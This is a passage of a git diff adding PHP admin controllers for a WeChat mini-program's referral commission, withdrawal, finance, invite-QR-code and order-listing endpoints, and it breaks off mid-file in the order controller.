'天前'; + } else { + return date('Y-m-d H:i', $timestamp); + } + } +} diff --git a/api/app/controller/admin/Distribution.php b/api/app/controller/admin/Distribution.php new file mode 100644 index 0000000..39aa678 --- /dev/null +++ b/api/app/controller/admin/Distribution.php @@ -0,0 +1,772 @@ +request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $todayStart = strtotime(date('Y-m-d 00:00:00')); + $days = 7; + $trendStart = strtotime(date('Y-m-d 00:00:00', strtotime('-' . ($days - 1) . ' days'))); + + try { + $query = Db::name('commission_records') + ->where('enterpriseId', $enterpriseId); + + $totalCommission = (clone $query)->whereIn('status', ['paid', 'frozen'])->sum('commissionFen') ?: 0; + $paidCommission = (clone $query)->where('status', 'paid')->sum('commissionFen') ?: 0; + $frozenCommission = (clone $query)->where('status', 'frozen')->sum('commissionFen') ?: 0; + $totalOrders = (clone $query)->whereIn('status', ['paid', 'frozen'])->count(); + $todayCommission = (clone $query) + ->whereIn('status', ['paid', 'frozen']) + ->where('createdAt', '>=', $todayStart) + ->sum('commissionFen') ?: 0; + $pendingCount = (clone $query)->where('status', 'frozen')->count(); + + $bindingQuery = Db::name('distribution_bindings') + ->where('enterpriseId', $enterpriseId) + ->where('status', 'active') + ->where('expireAt', '>', time()); + $bindingCount = (clone $bindingQuery)->count(); + $totalAgents = (clone $bindingQuery)->distinct(true)->count('inviterId'); + $todayAgents = Db::name('distribution_bindings') + ->where('enterpriseId', $enterpriseId) + ->where('createdAt', '>=', $todayStart) + ->distinct(true) + ->count('inviterId'); + + $trendRows = Db::name('commission_records') + ->where('enterpriseId', $enterpriseId) + ->whereIn('status', ['paid', 'frozen']) + ->where('createdAt', '>=', $trendStart) + ->field("FROM_UNIXTIME(createdAt, '%Y-%m-%d') as d, SUM(commissionFen) as totalFen") + ->group('d') + ->order('d', 'asc') + ->select() + ->toArray(); + $trendMap = []; + foreach ($trendRows as $row) { + $trendMap[$row['d']] = (int) ($row['totalFen'] ?? 0); + } + $commissionTrend = []; + for ($i = 0; $i < $days; $i++) { + $date = date('Y-m-d', strtotime('-' . ($days - 1 - $i) . ' days')); + $commissionTrend[] = [ + 'date' => $date, + 'amount' => round(($trendMap[$date] ?? 0) / 100, 2), + ]; + } + + $productSeries = self::buildProductCommissionSeries($enterpriseId); + + return success([ + 'totalAgents' => (int) $totalAgents, + 'todayAgents' => (int) $todayAgents, + 'totalCommission' => number_format($totalCommission / 100, 2, '.', ''), + 'todayCommission' => number_format($todayCommission / 100, 2, '.', ''), + 'pendingCommission' => number_format($frozenCommission / 100, 2, '.', ''), + 'pendingCount' => (int) $pendingCount, + 'paidCommission' => number_format($paidCommission / 100, 2, '.', ''), + 'frozenCommission' => number_format($frozenCommission / 100, 2, '.', ''), + 'totalOrders' => (int) $totalOrders, + 'bindingCount' => (int) $bindingCount, + 'commissionTrend' => $commissionTrend, + 'productCommissionSeries' => $productSeries, + ]); + } catch (\Exception $e) { + return error('获取数据失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/distributors 分销商列表(有过邀请行为的用户) + // ───────────────────────────────────────────────────────────── + public function distributors() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $search = trim((string) Request::param('search', '')); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + + try { + // 找出与本企业关联的所有有过邀请行为的用户(不限 scope,按 enterpriseId 筛选) + $query = Db::name('distribution_bindings') + ->where('enterpriseId', $enterpriseId) + ->distinct(true) + ->field('inviterId') + ->buildSql(); + + $inviterQuery = Db::name('wechat_users') + ->alias('u') + ->whereRaw("u.id IN {$query}") + ->field('u.id, u.nickname, u.avatar, u.createdAt'); + + if ($search !== '') { + $inviterQuery->where(function ($q) use ($search) { + $q->where('u.nickname', 'like', "%{$search}%") + ->whereOr('u.id', '=', is_numeric($search) ? (int)$search : -1); + }); + } + + $total = (clone $inviterQuery)->count(); + $inviters = $inviterQuery->page($page, $pageSize)->select()->toArray(); + + $inviterIds = array_column($inviters, 'id'); + + // 各邀请人的累计佣金与可提现佣金 + $commStats = []; + if (!empty($inviterIds)) { + $rows = Db::name('commission_records') + ->whereIn('inviterId', $inviterIds) + ->where('enterpriseId', $enterpriseId) + ->field('inviterId, + SUM(IF(status IN ("paid","frozen"), commissionFen, 0)) as totalFen, + SUM(IF(status = "paid", commissionFen, 0)) as paidFen') + ->group('inviterId') + ->select()->toArray(); + foreach ($rows as $r) { + $commStats[$r['inviterId']] = $r; + } + + // 已提现金额 + $withdrawnRows = Db::name('distribution_withdrawals') + ->whereIn('userId', $inviterIds) + // 提现金额统计:0=审核中,2=待收款,3=已收款 + ->whereIn('status', [0, 2, 3]) + ->field('userId, SUM(amountFen) as withdrawnFen') + ->group('userId') + ->select()->toArray(); + $withdrawnMap = []; + foreach ($withdrawnRows as $r) { + $withdrawnMap[$r['userId']] = (int)$r['withdrawnFen']; + } + + // 团队人数(绑定人数,不限 scope) + $teamRows = Db::name('distribution_bindings') + ->whereIn('inviterId', $inviterIds) + ->where('enterpriseId', $enterpriseId) + ->field('inviterId, COUNT(DISTINCT inviteeId) as teamCount') + ->group('inviterId') + ->select()->toArray(); + $teamMap = []; + foreach ($teamRows as $r) { + $teamMap[$r['inviterId']] = (int)$r['teamCount']; + } + } + + $list = []; + foreach ($inviters as $inv) { + $uid = $inv['id']; + $totalFen = (int)($commStats[$uid]['totalFen'] ?? 0); + $paidFen = (int)($commStats[$uid]['paidFen'] ?? 0); + $withdrawn = $withdrawnMap[$uid] ?? 0; + $avail = max(0, $paidFen - $withdrawn); + $list[] = [ + 'id' => $uid, + 'agentName' => $inv['nickname'] ?: ('用户' . $uid), + 'avatar' => $inv['avatar'] ?? '', + 'totalCommission' => number_format($totalFen / 100, 2, '.', ''), + 'availableCommission'=> number_format($avail / 100, 2, '.', ''), + 'teamCount' => $teamMap[$uid] ?? 0, + 'teamPerformance' => '-', + 'inviteCode' => '-', + 'level' => '-', + 'createdAt' => $inv['createdAt'], + ]; + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取分销商列表失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/bindings 绑定记录列表 + // ───────────────────────────────────────────────────────────── + public function bindings() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + $status = Request::param('status', ''); + $inviterId = (int) Request::param('inviterId', 0); + + try { + $query = Db::name('distribution_bindings') + ->alias('b') + ->leftJoin('wechat_users inv', 'b.inviterId = inv.id') + ->leftJoin('wechat_users invt', 'b.inviteeId = invt.id') + ->field('b.*, inv.nickname as inviterName, inv.avatar as inviterAvatar, + invt.nickname as inviteeName, invt.avatar as inviteeAvatar') + ->where('b.enterpriseId', $enterpriseId); + + if ($inviterId > 0) { + $query->where('b.inviterId', $inviterId); + } + if ($status) { + $query->where('b.status', $status); + } + + $total = (clone $query)->count(); + $list = $query->order('b.updatedAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + $now = time(); + foreach ($list as &$row) { + $row['remainDays'] = max(0, (int) ceil(($row['expireAt'] - $now) / 86400)); + $row['inviterName'] = $row['inviterName'] ?: '未知'; + $row['inviteeName'] = $row['inviteeName'] ?: '未知'; + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取绑定记录失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/commissions 佣金记录列表 + // ───────────────────────────────────────────────────────────── + public function commissions() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + $status = Request::param('status', ''); + $inviterId = (int) Request::param('inviterId', 0); + + try { + $query = Db::name('commission_records') + ->alias('c') + ->leftJoin('wechat_users inv', 'c.inviterId = inv.id') + ->leftJoin('wechat_users invt', 'c.inviteeId = invt.id') + ->field('c.*, inv.nickname as inviterName, inv.avatar as inviterAvatar, invt.nickname as inviteeName, invt.avatar as inviteeAvatar') + ->where('c.enterpriseId', $enterpriseId); + + if ($inviterId > 0) { + $query->where('c.inviterId', $inviterId); + } + if ($status) { + $query->where('c.status', $status); + } + + $total = (clone $query)->count(); + $list = $query->order('c.createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + $orderIds = []; + $testResultIds = []; + foreach ($list as $row) { + if (!empty($row['orderId'])) { + $orderIds[] = (int) $row['orderId']; + } + if (!empty($row['testResultId'])) { + $testResultIds[] = (int) $row['testResultId']; + } + } + + $orderTypeMap = []; + if (!empty($orderIds)) { + $rows = Db::name('test_results') + ->whereIn('orderId', array_values(array_unique($orderIds))) + ->field('orderId, testType') + ->select() + ->toArray(); + foreach ($rows as $item) { + $orderTypeMap[(int) $item['orderId']] = self::normalizeTestType($item['testType'] ?? ''); + } + } + + $resultTypeMap = []; + if (!empty($testResultIds)) { + $rows = Db::name('test_results') + ->whereIn('id', array_values(array_unique($testResultIds))) + ->field('id, testType') + ->select() + ->toArray(); + foreach ($rows as $item) { + $resultTypeMap[(int) $item['id']] = self::normalizeTestType($item['testType'] ?? ''); + } + } + + foreach ($list as &$row) { + $testType = 'other'; + if (($row['commissionSource'] ?? '') === 'test_completion' && !empty($row['testResultId'])) { + $testType = $resultTypeMap[(int) $row['testResultId']] ?? 'other'; + } elseif (!empty($row['orderId'])) { + $testType = $orderTypeMap[(int) $row['orderId']] ?? 'other'; + } + + $row['testType'] = $testType; + $row['testTypeLabel'] = self::getTestTypeLabel($testType); + $row['commissionYuan'] = number_format($row['commissionFen'] / 100, 2, '.', ''); + $row['orderYuan'] = number_format($row['orderAmount'] / 100, 2, '.', ''); + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取佣金记录失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/withdrawals 提现申请列表 + // ───────────────────────────────────────────────────────────── + public function withdrawals() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, (int) Request::param('pageSize', 20)); + $status = Request::param('status', ''); + + try { + $query = Db::name('distribution_withdrawals') + ->alias('w') + ->join('wechat_users u', 'w.userId = u.id') + ->field('w.*, u.nickname, u.avatar') + ->where('u.enterpriseId', $enterpriseId); + + if ($status !== '') { + // 后台传入可以是字符串或数字,这里统一转 int + $query->where('w.status', (int)$status); + } + + $total = (clone $query)->count(); + $list = $query->order('w.createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + foreach ($list as &$row) { + $row['amountYuan'] = number_format($row['amountFen'] / 100, 2, '.', ''); + $row['nickname'] = $row['nickname'] ?: '未知用户'; + + // 确保前端拿到的是数字 status(避免 '0' 和 0 比较异常) + $code = (int) ($row['status'] ?? 0); + $row['status'] = $code; + + // 统一后台状态文案:0审核中、1已驳回、2待收款、3已收款、4已过期 + switch ($code) { + case 0: + $row['statusLabel'] = '审核中'; + break; + case 1: + $row['statusLabel'] = '已驳回'; + break; + case 2: + $row['statusLabel'] = '待收款'; + break; + case 3: + $row['statusLabel'] = '已收款'; + break; + case 4: + $row['statusLabel'] = '已过期'; + break; + default: + $row['statusLabel'] = '未知'; + break; + } + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } catch (\Exception $e) { + return error('获取提现记录失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // POST distribution/withdrawals/:id/approve 审核通过 + // ───────────────────────────────────────────────────────────── + public function approveWithdrawal(int $id) + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $note = Request::param('note', ''); + $now = time(); + + $record = Db::name('distribution_withdrawals') + ->alias('w') + ->join('wechat_users u', 'w.userId = u.id') + ->where('w.id', $id) + ->where('u.enterpriseId', $enterpriseId) + ->field('w.*, u.openid') + ->find(); + // 仅允许处理审核中(status=0)的记录 + if (!$record || (int)$record['status'] !== 0) { + return error('提现申请不存在、已处理或无权限', 400); + } + + try { + // 生成商户明细单号:TX + 时间戳 + 随机数(示例:TX202603121526520005) + $outDetailNo = 'TX' . date('YmdHis') . mt_rand(1000, 9999); + + // 调用微信商家转账到零钱接口 + $service = new \app\common\service\WechatTransferService(); + $result = $service->createTransfer([ + 'out_detail_no' => $outDetailNo, + 'transfer_amount'=> (int) $record['amountFen'], + 'transfer_remark'=> '推广佣金提现', + 'openid' => $record['openid'], + 'batch_name' => '推广佣金提现', + 'batch_remark' => '用户提现', + ]); + + if ($result['success'] !== true) { + $err = $result['error'] ?? []; + $code = $err['code'] ?? 'UNKNOWN'; + $msg = $err['message'] ?? '微信转账接口调用失败'; + return error("微信转账发起失败({$code}):{$msg}", 500); + } + + $wechatData = $result['data'] ?? []; + Db::name('distribution_withdrawals') + ->where('id', $id) + ->update([ + // 2=待收款(已发起微信转账,等待用户确认) + 'status' => 2, + 'auditNote' => $note, + 'auditAt' => $now, + 'updatedAt' => $now, + 'pay_type' => 'wechat', + 'out_bill_no' => $outDetailNo, + 'transfer_bill_no' => $wechatData['batch_id'] ?? null, + 'wechat_pay_state' => $wechatData['batch_status'] ?? 'PROCESSING', + 'transfer_scene_id'=> $wechatData['transfer_scene_id'] ?? env('TRANSFER_SCENE_ID', '1005'), + 'mch_id' => env('MCH_ID', null), + ]); + + return success(null, '审核通过,已发起微信转账'); + } catch (\Exception $e) { + return error('操作失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // POST distribution/withdrawals/:id/reject 审核拒绝 + // ───────────────────────────────────────────────────────────── + public function rejectWithdrawal(int $id) + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $note = Request::param('note', ''); + $now = time(); + + $record = Db::name('distribution_withdrawals') + ->alias('w') + ->join('wechat_users u', 'w.userId = u.id') + ->where('w.id', $id) + ->where('u.enterpriseId', $enterpriseId) + ->field('w.*') + ->find(); + // 仅允许处理审核中(status=0)的记录 + if (!$record || (int)$record['status'] !== 0) { + return error('提现申请不存在、已处理或无权限', 400); + } + + Db::startTrans(); + try { + // 退回余额 + Db::name('wechat_users') + ->where('id', $record['userId']) + ->inc('walletBalance', $record['amountFen']) + ->update(['updatedAt' => $now]); + + Db::name('distribution_withdrawals') + ->where('id', $id) + ->update([ + // 1=已驳回 + 'status' => 1, + 'auditNote' => $note, + 'auditAt' => $now, + 'updatedAt' => $now, + ]); + + Db::commit(); + return success(null, '已拒绝,余额已退回'); + } catch (\Exception $e) { + Db::rollback(); + return error('操作失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // GET distribution/settings 获取企业分销配置 + // ───────────────────────────────────────────────────────────── + public function settings() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + + try { + $config = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', $enterpriseId) + ->find(); + + $tsDefault = self::defaultTestSettings(); + $default = [ + 'enabled' => true, + 'promoCenterTitle' => '推广中心', + 'bindingDays' => 30, + 'testSettings' => $tsDefault, + ]; + + if ($config && $config['value']) { + $settings = is_string($config['value']) ? json_decode($config['value'], true) : $config['value']; + $settings = array_merge($default, $settings ?? []); + } else { + $settings = $default; + } + + // 附加前端可读的 commissionAmount(元) + $settings['testSettings'] = self::appendTestSettingsAmount( + $settings['testSettings'] ?? $tsDefault + ); + + return success($settings); + } catch (\Exception $e) { + return error('获取配置失败:' . $e->getMessage(), 500); + } + } + + // ───────────────────────────────────────────────────────────── + // PUT distribution/settings 更新企业分销配置 + // ───────────────────────────────────────────────────────────── + public function updateSettings() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限', 403); + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + $settings = Request::only(['enabled', 'promoCenterTitle', 'bindingDays', 'testSettings']); + + $promoTitle = trim((string)($settings['promoCenterTitle'] ?? '')); + $toSave = [ + 'enabled' => (bool)($settings['enabled'] ?? true), + 'promoCenterTitle' => $promoTitle !== '' ? $promoTitle : '推广中心', + 'bindingDays' => (int)($settings['bindingDays'] ?? 30), + 'testSettings' => self::sanitizeTestSettings($settings['testSettings'] ?? null), + ]; + + try { + $now = time(); + $existing = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', $enterpriseId) + ->find(); + + if ($existing) { + Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', $enterpriseId) + ->update(['value' => json_encode($toSave, JSON_UNESCAPED_UNICODE), 'updatedAt' => $now]); + } else { + Db::name('system_config')->insert([ + 'key' => 'distribution', + 'enterprise_id' => $enterpriseId, + 'value' => json_encode($toSave, JSON_UNESCAPED_UNICODE), + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + } + + $toSave['testSettings'] = self::appendTestSettingsAmount($toSave['testSettings']); + return success($toSave, '配置已保存'); + } catch (\Exception $e) { + return error('保存配置失败:' . $e->getMessage(), 500); + } + } + + private static function defaultTestSettings(): array + { + $item = ['enabled' => true, 'commissionType' => 'ratio', 'commissionRate' => 90, 'commissionAmountFen' => 0, 'noPayment' => false]; + return ['face' => $item, 'mbti' => $item, 'disc' => $item, 'pdp' => $item]; + } + + private static function sanitizeTestSettings($raw): array + { + $default = self::defaultTestSettings(); + if (!is_array($raw)) return $default; + $result = []; + foreach ($default as $type => $def) { + $s = $raw[$type] ?? []; + $commissionType = in_array($s['commissionType'] ?? '', ['ratio', 'amount']) ? $s['commissionType'] : 'ratio'; + $amountFen = isset($s['commissionAmount']) + ? (int) round((float)$s['commissionAmount'] * 100) + : (int)($s['commissionAmountFen'] ?? 0); + $rate = max(0, min(100, (int)($s['commissionRate'] ?? 90))); + $result[$type] = [ + 'enabled' => ($s['enabled'] ?? true) !== false, + 'commissionType' => $commissionType, + 'commissionRate' => $commissionType === 'ratio' ? $rate : 0, + 'commissionAmountFen'=> $commissionType === 'amount' ? max(0, $amountFen) : 0, + 'noPayment' => !empty($s['noPayment']), + ]; + } + return $result; + } + + private static function appendTestSettingsAmount(array $ts): array + { + foreach ($ts as $k => $v) { + $ts[$k]['commissionAmount'] = round(($v['commissionAmountFen'] ?? 0) / 100, 2); + } + return $ts; + } + + private static function buildProductCommissionSeries(int $enterpriseId): array + { + $records = Db::name('commission_records') + ->where('enterpriseId', $enterpriseId) + ->whereIn('status', ['paid', 'frozen']) + ->field('orderId, testResultId, commissionSource, commissionFen') + ->select() + ->toArray(); + + $orderIds = []; + $testResultIds = []; + foreach ($records as $record) { + if (!empty($record['orderId'])) { + $orderIds[] = (int) $record['orderId']; + } + if (!empty($record['testResultId'])) { + $testResultIds[] = (int) $record['testResultId']; + } + } + + $orderTypeMap = []; + if (!empty($orderIds)) { + $rows = Db::name('test_results') + ->whereIn('orderId', array_values(array_unique($orderIds))) + ->field('orderId, testType') + ->select() + ->toArray(); + foreach ($rows as $row) { + $orderTypeMap[(int) $row['orderId']] = self::normalizeTestType($row['testType'] ?? ''); + } + } + + $resultTypeMap = []; + if (!empty($testResultIds)) { + $rows = Db::name('test_results') + ->whereIn('id', array_values(array_unique($testResultIds))) + ->field('id, testType') + ->select() + ->toArray(); + foreach ($rows as $row) { + $resultTypeMap[(int) $row['id']] = self::normalizeTestType($row['testType'] ?? ''); + } + } + + $totals = [ + 'face' => 0, + 'mbti' => 0, + 'disc' => 0, + 'pdp' => 0, + 'other' => 0, + ]; + + foreach ($records as $record) { + $type = 'other'; + if (($record['commissionSource'] ?? '') === 'test_completion' && !empty($record['testResultId'])) { + $type = $resultTypeMap[(int) $record['testResultId']] ?? 'other'; + } elseif (!empty($record['orderId'])) { + $type = $orderTypeMap[(int) $record['orderId']] ?? 'other'; + } + + if (!isset($totals[$type])) { + $type = 'other'; + } + $totals[$type] += (int) ($record['commissionFen'] ?? 0); + } + + return [ + ['label' => '人脸分析', 'value' => round($totals['face'] / 100, 2)], + ['label' => 'MBTI', 'value' => round($totals['mbti'] / 100, 2)], + ['label' => 'DISC', 'value' => round($totals['disc'] / 100, 2)], + ['label' => 'PDP', 'value' => round($totals['pdp'] / 100, 2)], + ['label' => '其他', 'value' => round($totals['other'] / 100, 2)], + ]; + } + + private static function normalizeTestType(string $testType): string + { + $normalized = strtolower(trim($testType)); + if ($normalized === 'ai') { + return 'face'; + } + if (in_array($normalized, ['face', 'mbti', 'disc', 'pdp'], true)) { + return $normalized; + } + return 'other'; + } + + private static function getTestTypeLabel(string $testType): string + { + $map = [ + 'face' => '人脸', + 'mbti' => 'MBTI', + 'disc' => 'DISC', + 'pdp' => 'PDP', + 'other' => '其他', + ]; + + return $map[$testType] ?? strtoupper($testType ?: '其他'); + } +} diff --git a/api/app/controller/admin/Finance.php b/api/app/controller/admin/Finance.php new file mode 100644 index 0000000..7a7cdaa --- /dev/null +++ b/api/app/controller/admin/Finance.php @@ -0,0 +1,204 @@ +resolveEnterpriseId(); + if (!$enterpriseId) { + return error('未获取到企业信息', 400); + } + + try { + $enterprise = Db::name('enterprises') + ->where('id', $enterpriseId) + ->field('id, name, balance') + ->find(); + if (!$enterprise) { + return error('企业不存在', 404); + } + + $todayStart = strtotime(date('Y-m-d 00:00:00')); + $monthStart = strtotime(date('Y-m-01 00:00:00')); + + $baseOrderQuery = Db::name('orders') + ->where('enterpriseId', $enterpriseId) + ->whereIn('status', ['paid', 'completed']) + ->whereIn('productType', ['face', 'mbti', 'disc', 'pdp']); + + $totalIncomeFen = (int) ((clone $baseOrderQuery)->sum('amount') ?? 0); + $todayIncomeFen = (int) ((clone $baseOrderQuery)->where('payTime', '>=', $todayStart)->sum('amount') ?? 0); + $monthIncomeFen = (int) ((clone $baseOrderQuery)->where('payTime', '>=', $monthStart)->sum('amount') ?? 0); + $paidOrderCount = (int) ((clone $baseOrderQuery)->count()); + + $manualRechargeFen = (int) (Db::name('finance_records') + ->where('enterpriseId', $enterpriseId) + ->where('type', 'recharge') + ->whereNull('orderId') + ->sum('amount') ?? 0); + + $frozenCommissionFen = (int) (Db::name('commission_records') + ->where('enterpriseId', $enterpriseId) + ->where('status', 'frozen') + ->sum('commissionFen') ?? 0); + + return success([ + 'enterpriseId' => $enterpriseId, + 'enterpriseName' => $enterprise['name'] ?? '', + 'balanceFen' => (int) ($enterprise['balance'] ?? 0), + 'totalIncomeFen' => $totalIncomeFen, + 'todayIncomeFen' => $todayIncomeFen, + 'monthIncomeFen' => $monthIncomeFen, + 'manualRechargeFen' => $manualRechargeFen, + 'frozenCommissionFen' => $frozenCommissionFen, + 'paidOrderCount' => $paidOrderCount, + ]); + } catch (\Throwable $e) { + return error('获取企业财务概览失败:' . $e->getMessage(), 500); + } + } + + /** + * 财务流水 + */ + public function records() + { + $enterpriseId = $this->resolveEnterpriseId(); + if (!$enterpriseId) { + return error('未获取到企业信息', 400); + } + + try { + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, max(1, (int) Request::param('pageSize', 20))); + + $query = Db::name('finance_records') + ->where('enterpriseId', $enterpriseId) + ->order('createdAt', 'desc') + ->order('id', 'desc'); + + $total = (int) (clone $query)->count(); + $list = (clone $query) + ->page($page, $pageSize) + ->select() + ->toArray(); + + $result = array_map(function ($row) { + $type = (string) ($row['type'] ?? ''); + $orderId = isset($row['orderId']) ? (int) $row['orderId'] : 0; + $direction = $type === 'consume' ? 'out' : 'in'; + $description = (string) ($row['description'] ?? ''); + $typeLabel = $type === 'consume' + ? '佣金扣减' + : (strpos($description, '企业余额充值') !== false ? '余额充值' : ($orderId > 0 ? '测试收入' : '余额充值')); + + return [ + 'id' => (int) ($row['id'] ?? 0), + 'type' => $type, + 'typeLabel' => $typeLabel, + 'direction' => $direction, + 'amountFen' => (int) ($row['amount'] ?? 0), + 'balanceBeforeFen' => (int) ($row['balanceBefore'] ?? 0), + 'balanceAfterFen' => (int) ($row['balanceAfter'] ?? 0), + 'description' => $description, + 'orderId' => $orderId ?: null, + 'createdAt' => (int) ($row['createdAt'] ?? 0), + ]; + }, $list); + + return success([ + 'list' => $result, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + ]); + } catch (\Throwable $e) { + return error('获取财务流水失败:' . $e->getMessage(), 500); + } + } + + /** + * 企业手动充值 + */ + public function rechargeQrcode() + { + $enterpriseId = $this->resolveEnterpriseId(); + if (!$enterpriseId) { + return error('未获取到企业信息', 400); + } + + try { + $amountFen = (int) Request::param('amountFen', 0); + if ($amountFen <= 0) { + return error('充值金额必须大于 0', 400); + } + $enterprise = Db::name('enterprises') + ->where('id', $enterpriseId) + ->field('id, name') + ->find(); + if (!$enterprise) { + return error('企业不存在', 404); + } + + // scene 长度要尽量短,避免超过微信限制 + $scene = 'eid=' . $enterpriseId . '&a=' . $amountFen . '&r=1'; + $page = 'pages/recharge/index'; + $result = WechatService::getWxacodeUnlimited($scene, $page, 430); + if (isset($result['errcode'])) { + return error('获取充值小程序码失败:' . ($result['errmsg'] ?? ''), 500); + } + + $binary = $result['binary'] ?? ''; + if ($binary === '') { + return error('充值小程序码生成失败', 500); + } + + return success([ + 'enterpriseId' => $enterpriseId, + 'enterpriseName' => (string) ($enterprise['name'] ?? ''), + 'amountFen' => $amountFen, + 'amountYuan' => number_format($amountFen / 100, 2, '.', ''), + 'scene' => $scene, + 'page' => $page, + 'qrcode' => 'data:image/png;base64,' . base64_encode($binary), + ]); + } catch (\Throwable $e) { + return error('生成充值二维码失败:' . $e->getMessage(), 500); + } + } + + /** + * 解析当前管理账号所属企业 + */ + protected function resolveEnterpriseId(): ?int + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'] ?? '', ['admin', 'enterprise_admin'], true)) { + return null; + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + if ($enterpriseId > 0) { + return $enterpriseId; + } + + $adminId = (int) ($user['userId'] ?? 0); + if ($adminId <= 0) { + return null; + } + + return (int) (Db::name('users')->where('id', $adminId)->value('enterpriseId') ?? 0) ?: null; + } +} diff --git a/api/app/controller/admin/Invite.php b/api/app/controller/admin/Invite.php new file mode 100644 index 0000000..537d059 --- /dev/null +++ b/api/app/controller/admin/Invite.php @@ -0,0 +1,64 @@ +request->user ?? null; + if (!$admin || !in_array($admin['role'] ?? '', ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $enterpriseId = null; + if (($admin['role'] ?? '') === 'enterprise_admin') { + $row = Db::name('users')->where('id', (int) ($admin['userId'] ?? 0))->find(); + $enterpriseId = isset($row['enterpriseId']) ? (int) $row['enterpriseId'] : null; + } else { + $enterpriseId = (int) $this->request->param('enterpriseId', 0); + if ($enterpriseId <= 0) { + return error('请指定企业(企业管理员无需传参,使用所属企业)', 400); + } + } + if ($enterpriseId <= 0) { + return error('无法确定企业,仅企业管理员或指定 enterpriseId 可生成邀请码', 400); + } + + // 场景值:e_企业ID,小程序 onLoad(options.scene) 可解析 + $scene = 'e_' . $enterpriseId; + $page = 'pages/enterprise/index'; + + $result = WechatService::getWxacodeUnlimited($scene, $page, 430); + if (isset($result['errcode'])) { + return error('获取小程序码失败:' . ($result['errmsg'] ?? ''), 500); + } + + $binary = $result['binary'] ?? ''; + if ($binary === '') { + return error('小程序码生成失败', 500); + } + + $base64 = 'data:image/png;base64,' . base64_encode($binary); + + return success([ + 'qrcode' => $base64, + 'scene' => $scene, + 'page' => $page, + ]); + } +} + diff --git a/api/app/controller/admin/Order.php b/api/app/controller/admin/Order.php new file mode 100644 index 0000000..38535ba --- /dev/null +++ b/api/app/controller/admin/Order.php @@ -0,0 +1,168 @@ +request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (!in_array($user['role'] ?? '', ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $page = (int) Request::param('page', 1); + $pageSize = (int) Request::param('pageSize', 20); + $pageSize = min(max($pageSize, 1), 100); + $keyword = trim(Request::param('keyword', '')); + $status = trim(Request::param('status', '')); + $productType = trim(Request::param('productType', '')); + + // admin / enterprise_admin 均只能看本企业订单 + $enterpriseId = $user['enterpriseId'] ?? null; + if (!$enterpriseId) { + $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); + $enterpriseId = $adminRow['enterpriseId'] ?? null; + } + + $query = Db::name('orders'); + + if ($enterpriseId !== null) { + $query->where('enterpriseId', $enterpriseId); + } + if ($status !== '') { + $query->where('status', $status); + } + if ($productType !== '') { + $query->where('productType', $productType); + } + if ($keyword !== '') { + if (is_numeric($keyword)) { + $query->where(function ($q) use ($keyword) { + 